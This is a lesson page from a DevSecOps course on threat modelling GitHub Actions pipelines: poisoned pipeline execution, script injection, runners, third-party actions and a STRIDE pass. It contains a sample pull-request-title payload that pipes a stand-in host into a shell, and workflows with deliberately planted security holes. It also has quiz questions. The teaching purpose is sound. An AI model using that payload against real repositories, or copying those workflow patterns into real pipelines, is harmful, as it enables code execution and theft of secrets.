Building a DevSecOps pipelineModule 1: Foundations and your lab repository

Threat modelling the pipeline itself

Treat the CI/CD system as an attack surface: the OWASP Top 10 CI/CD Security Risks, poisoned pipeline execution, risky triggers such as pull_request_target, self-hosted runners and third-party actions, and a STRIDE pass over a real pipeline.

This lesson
QuestionsPass 7/10
Course26 items

In this lesson you will

  • List the OWASP Top 10 CI/CD Security Risks and give an example of each in a GitHub Actions pipeline
  • Explain poisoned pipeline execution and why pull_request_target and workflow_run need special care
  • Run a STRIDE pass over a pipeline and turn each threat into a concrete control
  • Audit a workflow file for injection, excess permissions, unpinned actions and unsafe runners

The pipeline is a target

Why the pipeline is the control point made the pipeline the place where security checks run. That makes the pipeline itself valuable to an attacker. A CI/CD system typically holds:

  • secrets for cloud accounts, registries and package publishing
  • a token that can write to the repository
  • the ability to build artifacts that will be trusted and deployed

An attacker who controls a pipeline does not need to find a bug in your application. They can ship their own code through your release process, with your signature on it. Every incident in the course orientation worked this way.

The OWASP Top 10 CI/CD Security Risks

OWASP maintains a list of the ten most significant CI/CD risks. Learn the names: they give you a shared vocabulary for reviews and threat models.

ID Risk In a GitHub Actions pipeline, for example
CICD-SEC-1 Insufficient Flow Control Mechanisms A push to main deploys to production with no review or approval
CICD-SEC-2 Inadequate Identity and Access Management Former contractors still have admin on the repository
CICD-SEC-3 Dependency Chain Abuse A typosquatted package or a hijacked maintainer account delivers malware
CICD-SEC-4 Poisoned Pipeline Execution (PPE) A pull request changes a build script that a privileged workflow runs
CICD-SEC-5 Insufficient PBAC (Pipeline-Based Access Controls) Every job gets the same secrets and a write token, whether it needs them or not
CICD-SEC-6 Insufficient Credential Hygiene Long-lived cloud keys in repository secrets, printed in logs
CICD-SEC-7 Insecure System Configuration Self-hosted runners that are never rebuilt, default token permissions left at write
CICD-SEC-8 Ungoverned Usage of 3rd Party Services Third-party actions and apps with broad access that nobody reviewed
CICD-SEC-9 Improper Artifact Integrity Validation Deploying an image without checking its signature or provenance
CICD-SEC-10 Insufficient Logging and Visibility No record of who changed a workflow or approved a deploy

By the end of the course, your pipeline will have a control for each row.

Poisoned pipeline execution

Poisoned pipeline execution (PPE) is the most important CI-specific attack. It happens when an attacker gets their code or input to run inside a pipeline that holds privileges they do not have. Three forms:

  • Direct PPE: the attacker edits the workflow file itself in a branch or fork, and the platform runs the edited version with secrets.
  • Indirect PPE: the workflow file is safe, but it runs something the attacker controls: a Makefile, a test, an npm install script or a build configuration from the pull request.
  • Public PPE: the same, triggered by anyone through a pull request on a public repository.

GitHub’s default pull_request trigger limits the damage for forks: runs from forks get a read-only token and no secrets. Two triggers deliberately do not.

pull_request_target

pull_request_target runs in the context of the base repository, with its secrets and a token that can write. It exists for jobs such as labelling or commenting on pull requests, which need write access but never need to run the pull request’s code.

The danger is checking out the pull request and running anything from it:

# DANGEROUS: untrusted code runs with the base repository's secrets
on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<full-sha>
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm test   # install scripts and tests come from the fork

In November 2025 GitHub changed pull_request_target so that the workflow file and the checkout reference always come from the repository’s default branch, effective December 8, 2025. That closes one route (an old, vulnerable workflow lingering on another branch), but it cannot stop a default-branch workflow from choosing to run fork code. That decision is yours.

Rule: in pull_request_target and workflow_run, never build, install, test or execute anything from the pull request.

workflow_run

workflow_run starts a privileged workflow after another workflow finishes, often to post results from an unprivileged pull request build. The trap is trusting what the first run produced: downloading its artifacts and executing or unzipping them into a trusted location. Treat artifacts from a pull request run as untrusted input.

Script injection

Expressions inside ${{ }} are expanded into the script before the shell sees it. Anything a stranger can type becomes code:

# VULNERABLE: a title like  a"; curl evil.example | sh; echo "  runs
- run: echo "Checking ${{ github.event.pull_request.title }}"

# SAFE: the shell treats the variable's value as data
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Checking $TITLE"

Untrusted fields include pull request titles and bodies, branch names, issue titles, comment bodies, commit messages and author names. The Ultralytics and Nx incidents both started with exactly this pattern.

Runners and third-party actions

Self-hosted runners run on your machines, inside your network. On a public repository, anyone who opens a pull request may get code running there, and a runner that is not rebuilt after each job keeps whatever was left behind. Use GitHub-hosted runners for public repositories, and make self-hosted runners ephemeral (one job, then destroyed) for private ones.

Third-party actions run with the job’s token and secrets. A tag such as @v4 can be moved by whoever controls the action, which is how the tj-actions compromise spread. Pin to a full commit SHA, keep the list of allowed actions short, and review an action’s code before adding it.

A STRIDE pass over a pipeline

STRIDE is a checklist of six threat types. Walk it over each part of the pipeline and turn every threat into a control:

 developer ──push──▶ repository ──trigger──▶ runner ──publish──▶ registry ──deploy──▶ cloud
              (PRs, forks)        (workflows,      (secrets,         (images,          (OIDC role,
                                   rulesets)        token)            signatures)       environments)
Threat Example in this pipeline Control Module
Spoofing A commit claims to come from a maintainer Signed commits, protected branches, MFA 2
Tampering A third-party action’s tag is repointed SHA pinning and an allowed-actions policy 2, 3
Repudiation Nobody can tell who approved a production deploy Environment approvals and retained audit logs 6
Information disclosure A step prints a secret into a public log Secret masking, --redact, least-privilege secrets per job 2
Denial of service A pull request triggers an endless or huge build Job timeouts, concurrency limits, approval for first-time contributors 1
Elevation of privilege Fork code runs under pull_request_target Never execute PR code in privileged triggers; permissions: per job 1, 2

Write the table for your own pipeline. A threat with no control in the last two columns is your next piece of work.

Try it: audit a workflow

The workflow below has five security problems planted in it. Read it, write down each problem and how you would fix it, then open the answers.

name: release
on:
  pull_request_target:
  push:
    branches: [main]

permissions: write-all

jobs:
  build:
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - name: Announce
        run: echo "Building ${{ github.event.pull_request.title }}"
      - run: make build
      - uses: some-org/deploy-to-cloud@main
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

You can also run an automated audit. zizmor is an open-source static analyser for GitHub Actions workflows:

pip install zizmor
# Save the workflow above as release.yml, then:
zizmor release.yml

Compare its findings with your own list. Tools catch patterns; you still need to understand why each one matters.

Show the five problems
  1. Poisoned pipeline execution. pull_request_target checks out the pull request’s head and runs make build from it, with the base repository’s secrets. Use pull_request for building untrusted code.
  2. Script injection. The pull request title is expanded straight into run. Pass it through an env: variable.
  3. Excess permissions. permissions: write-all gives every step a token that can push code, create releases and change settings. Use contents: read at the top and grant more per job only where needed.
  4. Unpinned third-party action. some-org/deploy-to-cloud@main runs whatever is on that branch today, with cloud credentials. Pin to a full commit SHA after reviewing it, and prefer the cloud provider’s own action.
  5. Long-lived keys on a self-hosted runner. Static AWS keys are passed to a third-party action on a self-hosted runner that untrusted pull requests can reach. Use OIDC for short-lived credentials (Secure deployment) and a hosted or ephemeral runner.

Further reading

Key takeaways

  • The pipeline holds secrets and can ship to production, so an attacker who controls it does not need to break your app.
  • Poisoned pipeline execution happens when untrusted code or input runs inside a privileged workflow.
  • Never put ${{ }} expressions holding untrusted text directly into a run script; pass them through environment variables.
  • pull_request_target and workflow_run run with your repository's privileges, so never build or execute code from the pull request in them.
  • Pin third-party actions to full commit SHAs and keep self-hosted runners away from public repositories.
  • Every threat in a STRIDE pass should end as a named control you can point to in the pipeline.

Lesson questions

Answer all 10, then check them. You need 7 right to pass this lesson and unlock the next one. Try as often as you like; after three tries the answers and explanations are shown. These are our own questions, written for this course.

  1. A workflow on pull_request_target checks out the pull request's head commit and runs npm install and npm test. Why is this dangerous?
  2. Which line is vulnerable to script injection?
  3. Which OWASP CI/CD risk does a long-lived cloud access key stored as a repository secret and shared by every workflow mainly represent?
  4. Why should public repositories not use self-hosted runners?
  5. In a STRIDE pass over the pipeline, "an attacker repoints a third-party action's tag to malicious code" is mainly which category, and what is the control?
  6. A pull request leaves the workflow file untouched but edits the Makefile that a privileged workflow runs. Which form of poisoned pipeline execution is this?
  7. A privileged workflow_run job downloads the artifact built by an earlier pull request run and executes a script from it. What is the problem?
  8. Nobody can tell who approved last week's production deploy. In a STRIDE pass, which category is this, and what control fixes it?
  9. For a private repository, how should self-hosted runners be set up to limit what one job can leave behind for the next?
  10. A workflow sets 'permissions: write-all' at the top. Which change follows the lesson's advice?

Courses are taught against the frameworks they name. That is alignment, not certification: no course is certified, approved or endorsed by NIST, the DoD, DISA, FedRAMP, the CMMC program or any other agency or standards body, and completing one does not make a system compliant.